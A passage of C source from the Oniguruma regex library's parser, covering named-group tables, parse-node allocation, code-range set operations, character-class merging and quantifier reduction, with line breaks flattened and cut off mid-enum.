CHECK_NULL_RETURN_MEMERR(e); e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) { xfree(e); return ONIGERR_MEMORY; } onig_st_insert_strend(t, e->name, (e->name + (name_end - name)), (HashDataType )e); e->name_len = name_end - name; e->back_num = 0; e->back_alloc = 0; e->back_refs = (int* )NULL; #else if (IS_NULL(t)) { alloc = INIT_NAMES_ALLOC_NUM; t = (NameTable* )xmalloc(sizeof(NameTable)); CHECK_NULL_RETURN_MEMERR(t); t->e = NULL; t->alloc = 0; t->num = 0; t->e = (NameEntry* )xmalloc(sizeof(NameEntry) * alloc); if (IS_NULL(t->e)) { xfree(t); return ONIGERR_MEMORY; } t->alloc = alloc; reg->name_table = t; goto clear; } else if (t->num == t->alloc) { int i; alloc = t->alloc * 2; t->e = (NameEntry* )xrealloc(t->e, sizeof(NameEntry) * alloc); CHECK_NULL_RETURN_MEMERR(t->e); t->alloc = alloc; clear: for (i = t->num; i < t->alloc; i++) { t->e[i].name = NULL; t->e[i].name_len = 0; t->e[i].back_num = 0; t->e[i].back_alloc = 0; t->e[i].back_refs = (int* )NULL; } } e = &(t->e[t->num]); t->num++; e->name = strdup_with_null(reg->enc, name, name_end); if (IS_NULL(e->name)) return ONIGERR_MEMORY; e->name_len = name_end - name; #endif } if (e->back_num >= 1 && ! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_MULTIPLEX_DEFINITION_NAME)) { onig_scan_env_set_error_string(env, ONIGERR_MULTIPLEX_DEFINED_NAME, name, name_end); return ONIGERR_MULTIPLEX_DEFINED_NAME; } e->back_num++; if (e->back_num == 1) { e->back_ref1 = backref; } else { if (e->back_num == 2) { alloc = INIT_NAME_BACKREFS_ALLOC_NUM; e->back_refs = (int* )xmalloc(sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; e->back_refs[0] = e->back_ref1; e->back_refs[1] = backref; } else { if (e->back_num > e->back_alloc) { alloc = e->back_alloc * 2; e->back_refs = (int* )xrealloc(e->back_refs, sizeof(int) * alloc); CHECK_NULL_RETURN_MEMERR(e->back_refs); e->back_alloc = alloc; } e->back_refs[e->back_num - 1] = backref; } } return 0; } extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { NameEntry* e = name_find(reg, name, name_end); if (IS_NULL(e)) return ONIGERR_UNDEFINED_NAME_REFERENCE; switch (e->back_num) { case 0: break; case 1: *nums = &(e->back_ref1); break; default: *nums = e->back_refs; break; } return e->back_num; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion *region) { int i, n, *nums; n = onig_name_to_group_numbers(reg, name, name_end, &nums); if (n < 0) return n; else if (n == 0) return ONIGERR_PARSER_BUG; else if (n == 1) return nums[0]; else { if (IS_NOT_NULL(region)) { for (i = n - 1; i >= 0; i--) { if (region->beg[nums[i]] != ONIG_REGION_NOTPOS) return nums[i]; } } return nums[n - 1]; } } #else /* USE_NAMED_GROUP */ extern int onig_name_to_group_numbers(regex_t* reg, const UChar* name, const UChar* name_end, int** nums) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_name_to_backref_number(regex_t* reg, const UChar* name, const UChar* name_end, OnigRegion* region) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_foreach_name(regex_t* reg, int (*func)(const UChar*, const UChar*,int,int*,regex_t*,void*), void* arg) { return ONIG_NO_SUPPORT_CONFIG; } extern int onig_number_of_names(regex_t* reg) { return 0; } #endif /* else USE_NAMED_GROUP */ extern int onig_noname_group_capture_is_active(regex_t* reg) { if (ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_DONT_CAPTURE_GROUP)) return 0; #ifdef USE_NAMED_GROUP if (onig_number_of_names(reg) > 0 && IS_SYNTAX_BV(reg->syntax, ONIG_SYN_CAPTURE_ONLY_NAMED_GROUP) && !ONIG_IS_OPTION_ON(reg->options, ONIG_OPTION_CAPTURE_GROUP)) { return 0; } #endif return 1; } #define INIT_SCANENV_MEMNODES_ALLOC_SIZE 16 static void scan_env_clear(ScanEnv* env) { int i; BIT_STATUS_CLEAR(env->capture_history); BIT_STATUS_CLEAR(env->bt_mem_start); BIT_STATUS_CLEAR(env->bt_mem_end); BIT_STATUS_CLEAR(env->backrefed_mem); env->error = (UChar* )NULL; env->error_end = (UChar* )NULL; env->num_call = 0; env->num_mem = 0; #ifdef USE_NAMED_GROUP env->num_named = 0; #endif env->mem_alloc = 0; env->mem_nodes_dynamic = (Node** )NULL; for (i = 0; i < SCANENV_MEMNODES_SIZE; i++) env->mem_nodes_static[i] = NULL_NODE; #ifdef USE_COMBINATION_EXPLOSION_CHECK env->num_comb_exp_check = 0; env->comb_exp_max_regnum = 0; env->curr_max_regnum = 0; env->has_recursion = 0; #endif env->parse_depth = 0; } static int scan_env_add_mem_entry(ScanEnv* env) { int i, need, alloc; Node** p; need = env->num_mem + 1; if (need > MaxCaptureNum && MaxCaptureNum != 0) return ONIGERR_TOO_MANY_CAPTURES; if (need >= SCANENV_MEMNODES_SIZE) { if (env->mem_alloc <= need) { if (IS_NULL(env->mem_nodes_dynamic)) { alloc = INIT_SCANENV_MEMNODES_ALLOC_SIZE; p = (Node** )xmalloc(sizeof(Node*) * alloc); xmemcpy(p, env->mem_nodes_static, sizeof(Node*) * SCANENV_MEMNODES_SIZE); } else { alloc = env->mem_alloc * 2; p = (Node** )xrealloc(env->mem_nodes_dynamic, sizeof(Node*) * alloc); } CHECK_NULL_RETURN_MEMERR(p); for (i = env->num_mem + 1; i < alloc; i++) p[i] = NULL_NODE; env->mem_nodes_dynamic = p; env->mem_alloc = alloc; } } env->num_mem++; return env->num_mem; } static int scan_env_set_mem_node(ScanEnv* env, int num, Node* node) { if (env->num_mem >= num) SCANENV_MEM_NODES(env)[num] = node; else return ONIGERR_PARSER_BUG; return 0; } extern void onig_node_free(Node* node) { start: if (IS_NULL(node)) return ; #ifdef DEBUG_NODE_FREE fprintf(stderr, "onig_node_free: %p\n", node); #endif switch (NTYPE(node)) { case NT_STR: if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } break; case NT_LIST: case NT_ALT: onig_node_free(NCAR(node)); { Node* next_node = NCDR(node); xfree(node); node = next_node; goto start; } break; case NT_CCLASS: { CClassNode* cc = NCCLASS(node); if (IS_NCCLASS_SHARE(cc)) return ; if (cc->mbuf) bbuf_free(cc->mbuf); } break; case NT_QTFR: if (NQTFR(node)->target) onig_node_free(NQTFR(node)->target); break; case NT_ENCLOSE: if (NENCLOSE(node)->target) onig_node_free(NENCLOSE(node)->target); break; case NT_BREF: if (IS_NOT_NULL(NBREF(node)->back_dynamic)) xfree(NBREF(node)->back_dynamic); break; case NT_ANCHOR: if (NANCHOR(node)->target) onig_node_free(NANCHOR(node)->target); break; } xfree(node); } static Node* node_new(void) { Node* node; node = (Node* )xmalloc(sizeof(Node)); /* xmemset(node, 0, sizeof(Node)); */ #ifdef DEBUG_NODE_FREE fprintf(stderr, "node_new: %p\n", node); #endif return node; } static void initialize_cclass(CClassNode* cc) { BITSET_CLEAR(cc->bs); /* cc->base.flags = 0; */ cc->flags = 0; cc->mbuf = NULL; } static Node* node_new_cclass(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CCLASS); initialize_cclass(NCCLASS(node)); return node; } static Node* node_new_ctype(int type, int not) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CTYPE); NCTYPE(node)->ctype = type; NCTYPE(node)->not = not; return node; } static Node* node_new_anychar(void) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CANY); return node; } static Node* node_new_list(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_LIST); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_list(Node* left, Node* right) { return node_new_list(left, right); } extern Node* onig_node_list_add(Node* list, Node* x) { Node *n; n = onig_node_new_list(x, NULL); if (IS_NULL(n)) return NULL_NODE; if (IS_NOT_NULL(list)) { while (IS_NOT_NULL(NCDR(list))) list = NCDR(list); NCDR(list) = n; } return n; } extern Node* onig_node_new_alt(Node* left, Node* right) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ALT); NCAR(node) = left; NCDR(node) = right; return node; } extern Node* onig_node_new_anchor(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ANCHOR); NANCHOR(node)->type = type; NANCHOR(node)->target = NULL; NANCHOR(node)->char_len = -1; return node; } static Node* node_new_backref(int back_num, int* backrefs, int by_name, #ifdef USE_BACKREF_WITH_LEVEL int exist_level, int nest_level, #endif ScanEnv* env) { int i; Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_BREF); NBREF(node)->state = 0; NBREF(node)->back_num = back_num; NBREF(node)->back_dynamic = (int* )NULL; if (by_name != 0) NBREF(node)->state |= NST_NAME_REF; #ifdef USE_BACKREF_WITH_LEVEL if (exist_level != 0) { NBREF(node)->state |= NST_NEST_LEVEL; NBREF(node)->nest_level = nest_level; } #endif for (i = 0; i < back_num; i++) { if (backrefs[i] <= env->num_mem && IS_NULL(SCANENV_MEM_NODES(env)[backrefs[i]])) { NBREF(node)->state |= NST_RECURSION; /* /...(\1).../ */ break; } } if (back_num <= NODE_BACKREFS_SIZE) { for (i = 0; i < back_num; i++) NBREF(node)->back_static[i] = backrefs[i]; } else { int* p = (int* )xmalloc(sizeof(int) * back_num); if (IS_NULL(p)) { onig_node_free(node); return NULL; } NBREF(node)->back_dynamic = p; for (i = 0; i < back_num; i++) p[i] = backrefs[i]; } return node; } #ifdef USE_SUBEXP_CALL static Node* node_new_call(UChar* name, UChar* name_end, int gnum) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_CALL); NCALL(node)->state = 0; NCALL(node)->target = NULL_NODE; NCALL(node)->name = name; NCALL(node)->name_end = name_end; NCALL(node)->group_num = gnum; /* call by number if gnum != 0 */ return node; } #endif static Node* node_new_quantifier(int lower, int upper, int by_number) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_QTFR); NQTFR(node)->state = 0; NQTFR(node)->target = NULL; NQTFR(node)->lower = lower; NQTFR(node)->upper = upper; NQTFR(node)->greedy = 1; NQTFR(node)->target_empty_info = NQ_TARGET_ISNOT_EMPTY; NQTFR(node)->head_exact = NULL_NODE; NQTFR(node)->next_head_exact = NULL_NODE; NQTFR(node)->is_refered = 0; if (by_number != 0) NQTFR(node)->state |= NST_BY_NUMBER; #ifdef USE_COMBINATION_EXPLOSION_CHECK NQTFR(node)->comb_exp_check_num = 0; #endif return node; } static Node* node_new_enclose(int type) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_ENCLOSE); NENCLOSE(node)->type = type; NENCLOSE(node)->state = 0; NENCLOSE(node)->regnum = 0; NENCLOSE(node)->option = 0; NENCLOSE(node)->target = NULL; NENCLOSE(node)->call_addr = -1; NENCLOSE(node)->opt_count = 0; return node; } extern Node* onig_node_new_enclose(int type) { return node_new_enclose(type); } static Node* node_new_enclose_memory(OnigOptionType option, int is_named) { Node* node = node_new_enclose(ENCLOSE_MEMORY); CHECK_NULL_RETURN(node); if (is_named != 0) SET_ENCLOSE_STATUS(node, NST_NAMED_GROUP); #ifdef USE_SUBEXP_CALL NENCLOSE(node)->option = option; #endif return node; } static Node* node_new_option(OnigOptionType option) { Node* node = node_new_enclose(ENCLOSE_OPTION); CHECK_NULL_RETURN(node); NENCLOSE(node)->option = option; return node; } extern int onig_node_str_cat(Node* node, const UChar* s, const UChar* end) { int addlen = end - s; if (addlen > 0) { int len = NSTR(node)->end - NSTR(node)->s; if (NSTR(node)->capa > 0 || (len + addlen > NODE_STR_BUF_SIZE - 1)) { UChar* p; int capa = len + addlen + NODE_STR_MARGIN; if (capa <= NSTR(node)->capa) { onig_strcpy(NSTR(node)->s + len, s, end); } else { if (NSTR(node)->s == NSTR(node)->buf) p = strcat_capa_from_static(NSTR(node)->s, NSTR(node)->end, s, end, capa); else p = strcat_capa(NSTR(node)->s, NSTR(node)->end, s, end, capa); CHECK_NULL_RETURN_MEMERR(p); NSTR(node)->s = p; NSTR(node)->capa = capa; } } else { onig_strcpy(NSTR(node)->s + len, s, end); } NSTR(node)->end = NSTR(node)->s + len + addlen; } return 0; } extern int onig_node_str_set(Node* node, const UChar* s, const UChar* end) { onig_node_str_clear(node); return onig_node_str_cat(node, s, end); } static int node_str_cat_char(Node* node, UChar c) { UChar s[1]; s[0] = c; return onig_node_str_cat(node, s, s + 1); } extern void onig_node_conv_to_str_node(Node* node, int flag) { SET_NTYPE(node, NT_STR); NSTR(node)->flag = flag; NSTR(node)->capa = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } extern void onig_node_str_clear(Node* node) { if (NSTR(node)->capa != 0 && IS_NOT_NULL(NSTR(node)->s) && NSTR(node)->s != NSTR(node)->buf) { xfree(NSTR(node)->s); } NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; } static Node* node_new_str(const UChar* s, const UChar* end) { Node* node = node_new(); CHECK_NULL_RETURN(node); SET_NTYPE(node, NT_STR); NSTR(node)->capa = 0; NSTR(node)->flag = 0; NSTR(node)->s = NSTR(node)->buf; NSTR(node)->end = NSTR(node)->buf; if (onig_node_str_cat(node, s, end)) { onig_node_free(node); return NULL; } return node; } extern Node* onig_node_new_str(const UChar* s, const UChar* end) { return node_new_str(s, end); } static Node* node_new_str_raw(UChar* s, UChar* end) { Node* node = node_new_str(s, end); NSTRING_SET_RAW(node); return node; } static Node* node_new_empty(void) { return node_new_str(NULL, NULL); } static Node* node_new_str_raw_char(UChar c) { UChar p[1]; p[0] = c; return node_new_str_raw(p, p + 1); } static Node* str_node_split_last_char(StrNode* sn, OnigEncoding enc) { const UChar *p; Node* n = NULL_NODE; if (sn->end > sn->s) { p = onigenc_get_prev_char_head(enc, sn->s, sn->end); if (p && p > sn->s) { /* can be split. */ n = node_new_str(p, sn->end); if ((sn->flag & NSTR_RAW) != 0) NSTRING_SET_RAW(n); sn->end = (UChar* )p; } } return n; } static int str_node_can_be_split(StrNode* sn, OnigEncoding enc) { if (sn->end > sn->s) { return ((enclen(enc, sn->s) < sn->end - sn->s) ? 1 : 0); } return 0; } #ifdef USE_PAD_TO_SHORT_BYTE_CHAR static int node_str_head_pad(StrNode* sn, int num, UChar val) { UChar buf[NODE_STR_BUF_SIZE]; int i, len; len = sn->end - sn->s; onig_strcpy(buf, sn->s, sn->end); onig_strcpy(&(sn->s[num]), buf, buf + len); sn->end += num; for (i = 0; i < num; i++) { sn->s[i] = val; } } #endif extern int onig_scan_unsigned_number(UChar** src, const UChar* end, OnigEncoding enc) { unsigned int num, val; OnigCodePoint c; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c)) { val = (unsigned int )DIGITVAL(c); if ((INT_MAX_LIMIT - val) / 10UL < num) return -1; /* overflow */ num = num * 10 + val; } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_hexadecimal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (! PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_XDIGIT(enc, c)) { val = (unsigned int )XDIGITVAL(enc,c); if ((INT_MAX_LIMIT - val) / 16UL < num) return -1; /* overflow */ num = (num << 4) + XDIGITVAL(enc,c); } else { PUNFETCH; break; } } *src = p; return num; } static int scan_unsigned_octal_number(UChar** src, UChar* end, int maxlen, OnigEncoding enc) { OnigCodePoint c; unsigned int num, val; UChar* p = *src; PFETCH_READY; num = 0; while (!PEND && maxlen-- != 0) { PFETCH(c); if (ONIGENC_IS_CODE_DIGIT(enc, c) && c < '8') { val = ODIGITVAL(c); if ((INT_MAX_LIMIT - val) / 8UL < num) return -1; /* overflow */ num = (num << 3) + val; } else { PUNFETCH; break; } } *src = p; return num; } #define BBUF_WRITE_CODE_POINT(bbuf,pos,code) \ BBUF_WRITE(bbuf, pos, &(code), SIZE_CODE_POINT) /* data format: [n][from-1][to-1][from-2][to-2] ... [from-n][to-n] (all data size is OnigCodePoint) */ static int new_code_range(BBuf** pbuf) { #define INIT_MULTI_BYTE_RANGE_SIZE (SIZE_CODE_POINT * 5) int r; OnigCodePoint n; BBuf* bbuf; bbuf = *pbuf = (BBuf* )xmalloc(sizeof(BBuf)); CHECK_NULL_RETURN_MEMERR(*pbuf); r = BBUF_INIT(*pbuf, INIT_MULTI_BYTE_RANGE_SIZE); if (r) return r; n = 0; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range_to_buf(BBuf** pbuf, OnigCodePoint from, OnigCodePoint to) { int r, inc_n, pos; int low, high, bound, x; OnigCodePoint n, *data; BBuf* bbuf; if (from > to) { n = from; from = to; to = n; } if (IS_NULL(*pbuf)) { r = new_code_range(pbuf); if (r) return r; bbuf = *pbuf; n = 0; } else { bbuf = *pbuf; GET_CODE_POINT(n, bbuf->p); } data = (OnigCodePoint* )(bbuf->p); data++; for (low = 0, bound = n; low < bound; ) { x = (low + bound) >> 1; if (from > data[x*2 + 1]) low = x + 1; else bound = x; } high = (to == ~((OnigCodePoint )0)) ? n : low; for (bound = n; high < bound; ) { x = (high + bound) >> 1; if (to + 1 >= data[x*2]) high = x + 1; else bound = x; } inc_n = low + 1 - high; if (n + inc_n > ONIG_MAX_MULTI_BYTE_RANGES_NUM) return ONIGERR_TOO_MANY_MULTI_BYTE_RANGES; if (inc_n != 1) { if (from > data[low*2]) from = data[low*2]; if (to < data[(high - 1)*2 + 1]) to = data[(high - 1)*2 + 1]; } if (inc_n != 0 && (OnigCodePoint )high < n) { int from_pos = SIZE_CODE_POINT * (1 + high * 2); int to_pos = SIZE_CODE_POINT * (1 + (low + 1) * 2); int size = (n - high) * 2 * SIZE_CODE_POINT; if (inc_n > 0) { BBUF_MOVE_RIGHT(bbuf, from_pos, to_pos, size); } else { BBUF_MOVE_LEFT_REDUCE(bbuf, from_pos, to_pos); } } pos = SIZE_CODE_POINT * (1 + low * 2); BBUF_ENSURE_SIZE(bbuf, pos + SIZE_CODE_POINT * 2); BBUF_WRITE_CODE_POINT(bbuf, pos, from); BBUF_WRITE_CODE_POINT(bbuf, pos + SIZE_CODE_POINT, to); n += inc_n; BBUF_WRITE_CODE_POINT(bbuf, 0, n); return 0; } static int add_code_range(BBuf** pbuf, ScanEnv* env, OnigCodePoint from, OnigCodePoint to) { if (from > to) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) return 0; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } return add_code_range_to_buf(pbuf, from, to); } static int not_code_range_buf(OnigEncoding enc, BBuf* bbuf, BBuf** pbuf) { int r, i, n; OnigCodePoint pre, from, *data, to = 0; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf)) { set_all: return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } data = (OnigCodePoint* )(bbuf->p); GET_CODE_POINT(n, data); data++; if (n <= 0) goto set_all; r = 0; pre = MBCODE_START_POS(enc); for (i = 0; i < n; i++) { from = data[i*2]; to = data[i*2+1]; if (pre <= from - 1) { r = add_code_range_to_buf(pbuf, pre, from - 1); if (r != 0) return r; } if (to == ~((OnigCodePoint )0)) break; pre = to + 1; } if (to < ~((OnigCodePoint )0)) { r = add_code_range_to_buf(pbuf, to + 1, ~((OnigCodePoint )0)); } return r; } #define SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2) do {\ BBuf *tbuf; \ int tnot; \ tnot = not1; not1 = not2; not2 = tnot; \ tbuf = bbuf1; bbuf1 = bbuf2; bbuf2 = tbuf; \ } while (0) static int or_code_range_buf(OnigEncoding enc, BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, n1, *data1; OnigCodePoint from, to; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1) && IS_NULL(bbuf2)) { if (not1 != 0 || not2 != 0) return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); return 0; } r = 0; if (IS_NULL(bbuf2)) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); if (IS_NULL(bbuf1)) { if (not1 != 0) { return SET_ALL_MULTI_BYTE_RANGE(enc, pbuf); } else { if (not2 == 0) { return bbuf_clone(pbuf, bbuf2); } else { return not_code_range_buf(enc, bbuf2, pbuf); } } } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); GET_CODE_POINT(n1, data1); data1++; if (not2 == 0 && not1 == 0) { /* 1 OR 2 */ r = bbuf_clone(pbuf, bbuf2); } else if (not1 == 0) { /* 1 OR (not 2) */ r = not_code_range_buf(enc, bbuf2, pbuf); } if (r != 0) return r; for (i = 0; i < n1; i++) { from = data1[i*2]; to = data1[i*2+1]; r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } return 0; } static int and_code_range1(BBuf** pbuf, OnigCodePoint from1, OnigCodePoint to1, OnigCodePoint* data, int n) { int i, r; OnigCodePoint from2, to2; for (i = 0; i < n; i++) { from2 = data[i*2]; to2 = data[i*2+1]; if (from2 < from1) { if (to2 < from1) continue; else { from1 = to2 + 1; } } else if (from2 <= to1) { if (to2 < to1) { if (from1 <= from2 - 1) { r = add_code_range_to_buf(pbuf, from1, from2-1); if (r != 0) return r; } from1 = to2 + 1; } else { to1 = from2 - 1; } } else { from1 = from2; } if (from1 > to1) break; } if (from1 <= to1) { r = add_code_range_to_buf(pbuf, from1, to1); if (r != 0) return r; } return 0; } static int and_code_range_buf(BBuf* bbuf1, int not1, BBuf* bbuf2, int not2, BBuf** pbuf) { int r; OnigCodePoint i, j, n1, n2, *data1, *data2; OnigCodePoint from, to, from1, to1, from2, to2; *pbuf = (BBuf* )NULL; if (IS_NULL(bbuf1)) { if (not1 != 0 && IS_NOT_NULL(bbuf2)) /* not1 != 0 -> not2 == 0 */ return bbuf_clone(pbuf, bbuf2); return 0; } else if (IS_NULL(bbuf2)) { if (not2 != 0) return bbuf_clone(pbuf, bbuf1); return 0; } if (not1 != 0) SWAP_BBUF_NOT(bbuf1, not1, bbuf2, not2); data1 = (OnigCodePoint* )(bbuf1->p); data2 = (OnigCodePoint* )(bbuf2->p); GET_CODE_POINT(n1, data1); GET_CODE_POINT(n2, data2); data1++; data2++; if (not2 == 0 && not1 == 0) { /* 1 AND 2 */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; for (j = 0; j < n2; j++) { from2 = data2[j*2]; to2 = data2[j*2+1]; if (from2 > to1) break; if (to2 < from1) continue; from = MAX(from1, from2); to = MIN(to1, to2); r = add_code_range_to_buf(pbuf, from, to); if (r != 0) return r; } } } else if (not1 == 0) { /* 1 AND (not 2) */ for (i = 0; i < n1; i++) { from1 = data1[i*2]; to1 = data1[i*2+1]; r = and_code_range1(pbuf, from1, to1, data2, n2); if (r != 0) return r; } } return 0; } static int and_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_and(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = or_code_range_buf(enc, buf1, 0, buf2, 0, &pbuf); } else { r = and_code_range_buf(buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } return 0; } static int or_cclass(CClassNode* dest, CClassNode* cc, OnigEncoding enc) { int r, not1, not2; BBuf *buf1, *buf2, *pbuf; BitSetRef bsr1, bsr2; BitSet bs1, bs2; not1 = IS_NCCLASS_NOT(dest); bsr1 = dest->bs; buf1 = dest->mbuf; not2 = IS_NCCLASS_NOT(cc); bsr2 = cc->bs; buf2 = cc->mbuf; if (not1 != 0) { bitset_invert_to(bsr1, bs1); bsr1 = bs1; } if (not2 != 0) { bitset_invert_to(bsr2, bs2); bsr2 = bs2; } bitset_or(bsr1, bsr2); if (bsr1 != dest->bs) { bitset_copy(dest->bs, bsr1); bsr1 = dest->bs; } if (not1 != 0) { bitset_invert(dest->bs); } if (! ONIGENC_IS_SINGLEBYTE(enc)) { if (not1 != 0 && not2 != 0) { r = and_code_range_buf(buf1, 0, buf2, 0, &pbuf); } else { r = or_code_range_buf(enc, buf1, not1, buf2, not2, &pbuf); if (r == 0 && not1 != 0) { BBuf *tbuf; r = not_code_range_buf(enc, pbuf, &tbuf); if (r != 0) { bbuf_free(pbuf); return r; } bbuf_free(pbuf); pbuf = tbuf; } } if (r != 0) return r; dest->mbuf = pbuf; bbuf_free(buf1); return r; } else return 0; } static OnigCodePoint conv_backslash_value(OnigCodePoint c, ScanEnv* env) { if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_CONTROL_CHARS)) { switch (c) { case 'n': return '\n'; case 't': return '\t'; case 'r': return '\r'; case 'f': return '\f'; case 'a': return '\007'; case 'b': return '\010'; case 'e': return '\033'; case 'v': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ESC_V_VTAB)) return '\v'; break; default: break; } } return c; } static int is_invalid_quantifier_target(Node* node) { switch (NTYPE(node)) { case NT_ANCHOR: return 1; break; case NT_ENCLOSE: /* allow enclosed elements */ /* return is_invalid_quantifier_target(NENCLOSE(node)->target); */ break; case NT_LIST: do { if (! is_invalid_quantifier_target(NCAR(node))) return 0; } while (IS_NOT_NULL(node = NCDR(node))); return 0; break; case NT_ALT: do { if (is_invalid_quantifier_target(NCAR(node))) return 1; } while (IS_NOT_NULL(node = NCDR(node))); break; default: break; } return 0; } /* ?:0, *:1, +:2, ??:3, *?:4, +?:5 */ static int popular_quantifier_num(QtfrNode* q) { if (q->greedy) { if (q->lower == 0) { if (q->upper == 1) return 0; else if (IS_REPEAT_INFINITE(q->upper)) return 1; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 2; } } else { if (q->lower == 0) { if (q->upper == 1) return 3; else if (IS_REPEAT_INFINITE(q->upper)) return 4; } else if (q->lower == 1) { if (IS_REPEAT_INFINITE(q->upper)) return 5; } } return -1; } enum ReduceType { RQ_ASIS = 0, /* as is */ RQ_DEL = 1, /* delete parent */ RQ_A, /* to '*' */ RQ_AQ, /* to '*?' */ RQ_QQ, /* to '??' */ RQ_P_QQ, /* to '+)??' */ RQ_PQ_Q /* to '+?)?' */ }; static enum ReduceType ReduceTypeTable[6][6] = { {RQ_DEL, RQ_A, RQ_A, RQ_QQ, RQ_AQ, RQ_ASIS}, /* '?' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_P_QQ, RQ_P_QQ, RQ_DEL}, /* '*' */ {RQ_A, RQ_A, RQ_DEL, RQ_ASIS, RQ_P_QQ, RQ_DEL}, /* '+' */ {RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL, RQ_AQ, RQ_AQ}, /* '??' */ {RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL, RQ_DEL}, /* '*?' */ {RQ_ASIS, RQ_PQ_Q, RQ_DEL, RQ_AQ, RQ_AQ, RQ_DEL} /* '+?' */ }; extern void onig_reduce_nested_quantifier(Node* pnode, Node* cnode) { int pnum, cnum; QtfrNode *p, *c; p = NQTFR(pnode); c = NQTFR(cnode); pnum = popular_quantifier_num(p); cnum = popular_quantifier_num(c); if (pnum < 0 || cnum < 0) return ; switch(ReduceTypeTable[cnum][pnum]) { case RQ_DEL: *pnode = *cnode; break; case RQ_A: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 1; break; case RQ_AQ: p->target = c->target; p->lower = 0; p->upper = REPEAT_INFINITE; p->greedy = 0; break; case RQ_QQ: p->target = c->target; p->lower = 0; p->upper = 1; p->greedy = 0; break; case RQ_P_QQ: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 0; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 1; return ; break; case RQ_PQ_Q: p->target = cnode; p->lower = 0; p->upper = 1; p->greedy = 1; c->lower = 1; c->upper = REPEAT_INFINITE; c->greedy = 0; return ; break; case RQ_ASIS: p->target = cnode; return ; break; } c->target = NULL_NODE; onig_node_free(cnode); } enum TokenSyms { TK_EOT = 0, /* end of token */ TK_RAW_BYTE = 1, TK_CHAR, TK_STRING, TK_CODE_POINT, TK_ANYCHAR, TK_CHAR_TYPE, TK_BACKREF, TK_CALL, TK_ANCHOR, TK_OP_REPEAT, TK_INTERVAL, 